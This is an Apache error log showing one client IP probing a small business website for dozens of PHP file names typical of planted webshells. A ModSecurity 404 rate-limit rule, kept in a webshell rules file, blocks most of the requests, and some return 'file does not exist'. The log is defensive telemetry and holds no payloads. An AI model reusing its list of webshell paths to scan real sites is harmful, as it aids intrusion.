[Sat May 16 02:16:13.525954 2026] [:error] [pid 59522:tid 59566] [client 4.205.123.246:39000] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "agdi7YKyKAkpeBAoLCZX4gAAA8s"]
[Sat May 16 02:16:14.051129 2026] [:error] [pid 59517:tid 59533] [client 4.205.123.246:39098] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agdi7sWGuSBVizA7n2P3YQAAA4Y"]
[Sat May 16 02:16:14.507999 2026] [:error] [pid 59522:tid 59578] [client 4.205.123.246:38184] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agdi7oKyKAkpeBAoLCZX5AAAA9c"]
[Sat May 16 02:16:15.179060 2026] [:error] [pid 59517:tid 59544] [client 4.205.123.246:32546] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agdi78WGuSBVizA7n2P3ZAAAA5E"]
[Sat May 16 02:16:15.858797 2026] [:error] [pid 59522:tid 59558] [client 4.205.123.246:37516] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "agdi74KyKAkpeBAoLCZX5QAAA8M"]
[Sat May 16 02:16:16.420987 2026] [:error] [pid 59522:tid 59574] [client 4.205.123.246:36981] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agdi8IKyKAkpeBAoLCZX5wAAA9M"]
[Sat May 16 02:16:17.035620 2026] [:error] [pid 9392:tid 9404] [client 4.205.123.246:38664] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agdi8dBWJIjH1U9zGfYHhgAAAQo"]
[Sat May 16 02:16:17.654534 2026] [:error] [pid 59522:tid 59570] [client 4.205.123.246:37940] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agdi8YKyKAkpeBAoLCZX6QAAA88"]
[Sat May 16 02:16:18.848274 2026] [:error] [pid 30272:tid 30291] [client 4.205.123.246:38426] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "agdi8nvc_jSFaQ_7_wcxPgAAAZE"]
[Sat May 16 02:16:19.479575 2026] [:error] [pid 59522:tid 59577] [client 4.205.123.246:36954] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agdi84KyKAkpeBAoLCZX6wAAA9Y"]
[Sat May 16 02:16:21.109349 2026] [:error] [pid 59453:tid 59471] [client 4.205.123.246:38191] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agdi9XnXIIDivY9RkF0q7QAAA0k"]
[Sat May 16 02:16:22.241127 2026] [:error] [pid 59453:tid 59483] [client 4.205.123.246:39039] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agdi9nnXIIDivY9RkF0q7wAAA1Q"]
[Sat May 16 02:16:23.579428 2026] [:error] [pid 59522:tid 59563] [client 4.205.123.246:37497] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agdi94KyKAkpeBAoLCZX7AAAA8g"]
[Sat May 16 02:16:24.643921 2026] [:error] [pid 59517:tid 59531] [client 4.205.123.246:38482] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agdi-MWGuSBVizA7n2P3ZQAAA4Q"]
[Sat May 16 02:16:25.233151 2026] [:error] [pid 59517:tid 59538] [client 4.205.123.246:38251] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agdi-cWGuSBVizA7n2P3ZgAAA4s"]
[Sat May 16 02:16:26.098577 2026] [:error] [pid 59517:tid 59528] [client 4.205.123.246:38520] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agdi-sWGuSBVizA7n2P3ZwAAA4E"]
[Sat May 16 02:16:28.304250 2026] [:error] [pid 30272:tid 30286] [client 4.205.123.246:38454] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agdi_Hvc_jSFaQ_7_wcxQAAAAYw"]
[Sat May 16 02:16:29.041653 2026] [:error] [pid 9392:tid 9415] [client 4.205.123.246:38185] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "agdi_dBWJIjH1U9zGfYHigAAARU"]
[Sat May 16 02:16:29.609565 2026] [:error] [pid 59522:tid 59566] [client 4.205.123.246:38705] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "agdi_YKyKAkpeBAoLCZX8QAAA8s"]
[Sat May 16 02:16:30.039033 2026] [:error] [pid 59517:tid 59541] [client 4.205.123.246:38244] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "agdi_sWGuSBVizA7n2P3bwAAA44"]
[Sat May 16 02:16:30.697507 2026] [:error] [pid 59522:tid 59571] [client 4.205.123.246:38415] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "agdi_oKyKAkpeBAoLCZX8wAAA9A"]
[Sat May 16 02:16:32.121780 2026] [:error] [pid 9305:tid 9362] [client 4.205.123.246:36959] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "agdjAN5FZyBmdCM8GsGlhgAAAFg"]
[Sat May 16 02:16:32.900081 2026] [:error] [pid 59311:tid 59326] [client 4.205.123.246:39045] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "agdjALGBV7OkryAk5AOakAAAAos"]
[Sat May 16 02:16:36.319022 2026] [:error] [pid 30272:tid 30285] [client 4.205.123.246:38515] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "agdjBHvc_jSFaQ_7_wcxRgAAAYs"]
[Sat May 16 02:16:37.137404 2026] [:error] [pid 9305:tid 9338] [client 4.205.123.246:38427] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "agdjBd5FZyBmdCM8GsGlhwAAAEA"]
[Sat May 16 02:16:37.667367 2026] [:error] [pid 59517:tid 59534] [client 4.205.123.246:38212] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agdjBcWGuSBVizA7n2P3cwAAA4c"]
[Sat May 16 02:16:39.111261 2026] [:error] [pid 59311:tid 59331] [client 4.205.123.246:38689] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agdjB7GBV7OkryAk5AOakQAAApA"]
[Sat May 16 02:16:39.958586 2026] [:error] [pid 59522:tid 59558] [client 4.205.123.246:38271] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agdjB4KyKAkpeBAoLCZX9QAAA8M"]
[Sat May 16 02:16:40.784908 2026] [:error] [pid 59311:tid 59321] [client 4.205.123.246:39350] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agdjCLGBV7OkryAk5AOalQAAAoY"]
[Sat May 16 02:16:41.336780 2026] [:error] [pid 59311:tid 59333] [client 4.205.123.246:38235] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "agdjCbGBV7OkryAk5AOamAAAApI"]
[Sat May 16 02:16:42.202779 2026] [:error] [pid 59522:tid 59579] [client 4.205.123.246:39340] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "agdjCoKyKAkpeBAoLCZX-wAAA9g"]
[Sat May 16 02:16:42.830779 2026] [:error] [pid 59311:tid 59317] [client 4.205.123.246:38471] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "agdjCrGBV7OkryAk5AOangAAAoI"]
[Sat May 16 02:16:43.577487 2026] [:error] [pid 9392:tid 9396] [client 4.205.123.246:36977] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "agdjC9BWJIjH1U9zGfYHjgAAAQI"]
[Sat May 16 02:16:45.050450 2026] [:error] [pid 59522:tid 59562] [client 4.205.123.246:38400] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agdjDYKyKAkpeBAoLCZYAAAAA8c"]
[Sat May 16 02:16:45.672055 2026] [:error] [pid 59311:tid 59334] [client 4.205.123.246:38996] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agdjDbGBV7OkryAk5AOanwAAApM"]
[Sat May 16 02:16:47.260121 2026] [:error] [pid 59522:tid 59569] [client 4.205.123.246:37908] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agdjD4KyKAkpeBAoLCZYAwAAA84"]
[Sat May 16 02:16:48.216601 2026] [:error] [pid 9305:tid 9347] [client 4.205.123.246:38492] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agdjEN5FZyBmdCM8GsGliAAAAEk"]
[Sat May 16 02:16:49.592660 2026] [:error] [pid 59522:tid 59559] [client 4.205.123.246:37500] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "agdjEYKyKAkpeBAoLCZYBgAAA8Q"]
[Sat May 16 02:16:50.200131 2026] [:error] [pid 9305:tid 9354] [client 4.205.123.246:38441] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "agdjEt5FZyBmdCM8GsGliQAAAFA"]
[Sat May 16 02:16:51.096221 2026] [:error] [pid 9392:tid 9401] [client 4.205.123.246:38410] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "agdjE9BWJIjH1U9zGfYHkAAAAQc"]
[Sat May 16 02:16:52.414397 2026] [:error] [pid 59522:tid 59574] [client 4.205.123.246:36933] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "agdjFIKyKAkpeBAoLCZYBwAAA9M"]
[Sat May 16 02:16:53.726082 2026] [:error] [pid 59522:tid 59567] [client 4.205.123.246:38250] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agdjFYKyKAkpeBAoLCZYCwAAA8w"]
[Sat May 16 02:16:54.836511 2026] [:error] [pid 59522:tid 59565] [client 4.205.123.246:38437] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agdjFoKyKAkpeBAoLCZYDQAAA8o"]
[Sat May 16 02:16:58.992551 2026] [:error] [pid 59522:tid 59572] [client 4.205.123.246:38404] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agdjGoKyKAkpeBAoLCZYEQAAA9E"]
[Sat May 16 02:17:58.292915 2026] [:error] [pid 9305:tid 9361] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/geforce.php
[Sat May 16 02:17:58.555274 2026] [:error] [pid 9305:tid 9343] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/dostshell.php
[Sat May 16 02:17:58.768487 2026] [:error] [pid 9305:tid 9341] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sat May 16 02:17:59.017648 2026] [:error] [pid 9305:tid 9358] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Sat May 16 02:17:59.230826 2026] [:error] [pid 9305:tid 9353] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/casp1.php
[Sat May 16 02:17:59.501793 2026] [:error] [pid 9305:tid 9362] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/a1.php
[Sat May 16 02:17:59.716612 2026] [:error] [pid 9305:tid 9338] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sat May 16 02:17:59.929515 2026] [:error] [pid 9305:tid 9347] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sat May 16 02:18:00.142622 2026] [:error] [pid 9305:tid 9354] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Sat May 16 02:18:00.356164 2026] [:error] [pid 9305:tid 9340] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Sat May 16 02:18:00.573270 2026] [:error] [pid 9305:tid 9339] [client 4.205.123.246:39575] File does not exist: /usr/local/apache/htdocs/suspended-page/press.php
[Sat May 16 02:18:00.966093 2026] [:error] [pid 9305:tid 9359] [client 4.205.123.246:39575] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agdjWN5FZyBmdCM8GsGlmwAAAFU"]
[Sat May 16 02:18:02.337779 2026] [:error] [pid 59522:tid 59560] [client 4.205.123.246:38687] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agdjWoKyKAkpeBAoLCZYMQAAA8U"]
[Sat May 16 02:18:04.178037 2026] [:error] [pid 59453:tid 59487] [client 4.205.123.246:40272] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agdjXHnXIIDivY9RkF0q-wAAA1g"]
[Sat May 16 02:18:06.750986 2026] [:error] [pid 59311:tid 59336] [client 4.205.123.246:40344] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "agdjXrGBV7OkryAk5AOapwAAApU"]
[Sat May 16 02:18:08.146354 2026] [:error] [pid 59311:tid 59327] [client 4.205.123.246:39595] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "agdjYLGBV7OkryAk5AOaqAAAAow"]
[Sat May 16 02:18:09.682156 2026] [:error] [pid 59311:tid 59328] [client 4.205.123.246:39071] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "agdjYbGBV7OkryAk5AOaqQAAAo0"]
[Sat May 16 02:18:14.153800 2026] [:error] [pid 59517:tid 59543] [client 4.205.123.246:37468] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "agdjZsWGuSBVizA7n2P3hwAAA5A"]
[Sat May 16 02:18:16.173997 2026] [:error] [pid 59453:tid 59462] [client 4.205.123.246:37571] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "agdjaHnXIIDivY9RkF0rAAAAA0M"]
[Sat May 16 02:18:16.991292 2026] [:error] [pid 59522:tid 59559] [client 4.205.123.246:39517] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "agdjaIKyKAkpeBAoLCZYNwAAA8Q"]
